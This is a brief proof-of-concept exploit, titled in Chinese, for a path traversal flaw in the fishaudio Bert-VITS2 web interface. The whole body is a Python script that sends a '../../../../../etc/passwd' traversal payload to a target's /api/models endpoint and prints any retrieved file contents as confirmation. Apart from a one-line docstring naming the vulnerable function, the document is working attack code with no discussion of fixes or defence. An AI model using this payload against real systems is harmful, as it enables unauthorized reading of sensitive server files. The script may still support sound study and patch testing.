CVE-2026-8755 fishaudio Bert-VITS2 路径遍历漏洞

import requests """ PoC for CVE-2026-8755: Path Traversal in fishaudio Bert-VITS2 Vulnerable Endpoint: _get_all_models in hiyoriUI.py """ target_url = "http://target-host:port/api/models" # Replace with actual target URL # Payload attempting to read /etc/passwd using path traversal sequences payload = { "path": "../../../../../etc/passwd" } try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: if "root:" in response.text: print("[+] Vulnerability confirmed! Sensitive file content retrieved:") print(response.text) else: print("[-] Target may be patched or payload incorrect.") print("Response:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")